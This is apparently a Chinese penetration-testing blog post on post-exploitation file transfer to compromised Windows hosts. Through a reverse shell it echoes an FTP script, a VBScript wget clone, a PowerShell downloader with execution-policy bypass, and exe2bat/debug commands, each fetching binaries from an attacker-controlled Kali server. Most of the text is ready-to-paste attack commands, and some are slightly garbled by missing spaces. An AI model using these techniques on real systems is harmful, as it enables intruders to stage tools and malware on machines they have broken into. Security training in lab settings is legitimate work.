前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >FTP & VBScript & Powershell & Debug 远程传输

FTP & VBScript & Powershell & Debug 远程传输

作者头像
意大利的猫
发布2020-08-19 17:47:38
1.7K0
发布2020-08-19 17:47:38
举报
文章被收录于专栏:漫流砂

2.FTP

之前我们说过FTP在非交互shell 下会出现没有办法输入密码,导致身份认证过程没有办法完整完成,这里我们就来介绍一下如何变通。

首先还是需要我们在肉鸡上搭建一个ftp服务器,这里以Kali为例,ftp服务器以pure-ftpd为例

1. 安装ftp服务器

apt-get install pure-ftpd

2. 配置FTP服务器

groupadd ftpgroup

useradd -g ftpgroup -d /dev/null -s /etc ftpuser

pure-pw useradd admin -u ftpuser -d /ftphome

pure-pw mkdb

cd /etc/pure-ftpd/auth/

ln -s ../conf/PureDB 68pdb

mkdir -p /ftphome

chown -R ftpuser:ftpgroup /ftphome/

cp /usr/share/windows-binaries/whoami.exe/ftphome/

/etc/init.d/pure-ftpd restart

3. 查看是否开启成功

netstat –pantu | grep 21

通过Filezilla或者浏览器连接一下

浏览器访问一下ftp://127.0.0.1

这样Kali 这方也就准备完毕了

下面是xp这边

1. 安装ftp服务

此时把你的系统安装镜像连接到虚拟机就行了

2. 如何实现非交互shell 输入密码呢?

这里可以利用ftp的一些个功能帮助我们实现

我们将所有的命令都写入到一个文件中,之后用ftp -s:ftp.txt 的方式来进行加载

我们可以使用远程shell的 echo 命令将我们的命令写入到文件中

echoopen 192.168.123.53 21> ftp.txt

echoadmin>> ftp.txt

echoadmin>> ftp.txt

echobin>> ftp.txt

echoGET whoami.exe>> ftp.txt

echobye>> ftp.txt

注意:指令与 > 之间不能有空格

>> 表示追加写

admin/ admin 是刚刚设置的账号密码

bye 断开连接

写入完成后我们就可以执行了

ftp -s:ftp.txt

传输结束后我们验证一下是否可以使用

可以看到成功上传,成功执行!

ftp相对于TFTP来说被更多服务器所使用,所以这种方式值得掌握!

3. VBScript

关于VBScript

这是一款脚本语言,之前很多恶意软件都会使用这个语言,甚至在启动项里面丢一个vbs脚本

在Win7之前,vbs是windows默认的脚本语言

win7之后powershell 作为了windows的默认语言

powershell有意要做到bash在Linux中的地位,在后渗透阶段,powershell可是一个利器

VBScript传输工具的思路其实就是自己写一个wget,并不是什么高端的东西

如果目标安装了Python,那我们也可以写一个Python版本的wget,之后用python解释器来执行

本地传输采用http协议,我们需要提前部署好肉鸡,以本地Kali为例

Kali默认安装了Apache,web目录为/var/www/html/

serviceapache2 start

cp/usr/share/windows-binaries/whoami.exe /var/www/html/

之后我们可以访问一下本机看看

可以看到成功启动

接下来就是我们通过远程shell写一个vbs脚本的wget了

还是使用echo 命令

echoOn Error Resume Next > wget.vbs

echoDim iRemote,iLocal >> wget.vbs

echoiLocal = LCase(WScript.Arguments(1)) >> wget.vbs

echoiRemote = LCase(WScript.Arguments(0)) >> wget.vbs

echoSet xPost = CreateObject("Microsoft.XMLHTTP") >> wget.vbs

echoxPost.Open "GET",iRemote,0 >> wget.vbs

echoxPost.Send() >> wget.vbs

echoSet sGet = CreateObject("ADODB.Stream") >> wget.vbs

echosGet.Mode = 3 >> wget.vbs

echosGet.Type = 1 >> wget.vbs

echosGet.Open() >> wget.vbs

echosGet.Write(xPost.responseBody) >> wget.vbs

echosGet.SaveToFile iLocal,2 >> wget.vbs

写入完成后就是执行了

cscriptwget.vbs http://192.168.123.53/whoami.exe w.exe

cscript是VBScript的解释器,下载下来的文件保存为 w.exe

可以看到成功传输并执行!

4. 使用Powershell 传输文件

win7 vista 及以上默认语言

思路与vbs一样

Kali端配置与上面相同

用 Windows 10 来演示吧

我们在远程shell中执行

echo $storageDir = $pwd>download.ps1

echo $webclient = New-Object System Net WebClient >>download.ps1

echo $url = "http://192.168.123.53/whoami.exe">>download.ps1

echo $file = "w.exe" >> download.ps1

echo $webclientDownloadFile($url,$file) >> download.ps1

写入完成后还是执行它

poweshell.exe -ExecutionPolicy Bypass -Nologo -Nonlnteractive-NoProfile -File download.ps1

5. 使用Debug传输文件

Debug 这个命令是一个很古老而且底层的命令

这个命令可以完成汇编和反汇编,并且可以修改Bios

经过之前的两种方法,相信大家肯定会说,我们能不能直接把二进制的文件一行一行地echo进一个文件中,答案是否定的

不过这个思路是可以的,我们需要变通一下,将二进制文件转换成文本类型,之后进行传输,最后再用debug命令转化为二进制格式

debug 只能传输小于64K的文件,而我们的whoami.exe 刚好有65K ,所以我们需要进行压缩,这里的压缩不是说普通的压缩软件进行压缩,需要使用upx

Kali 端的压缩

可以看到压缩后只有21k

Kali 端将二进制文件转换为文本文件(这个操作也可以在windows主机上执行)

wine/usr/share/windows-binaries/exe2bat.exe whoami.exe whoami.txt

可以看到直接使用wine来执行会失败,我们按照Kali的提示安装一下框架依赖

dpkg--add-architecture i386 && apt-get update && apt-get installwine32

此过程需要下载大概600M的文件

安装结束后再执行,就可以成功了

我们打开whoami.txt

可以看到这个工具已经为我们都准备好了,最后两行是debug要做的,我们把除最后两行都复制下来,放入到nc反弹的shell中执行

成功生成了123.hex

接下来Debug就要登场了

debug< 123.hex

此时生成的1.DLL 就是我们的whoami.exe了,我们只需要重命名一下

copy1.dll nc.exe

可以看到已经成功执行了,这样我们就用exe2bat+ Debug 完成了tool的传输

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2018-07-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 NOP Team 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档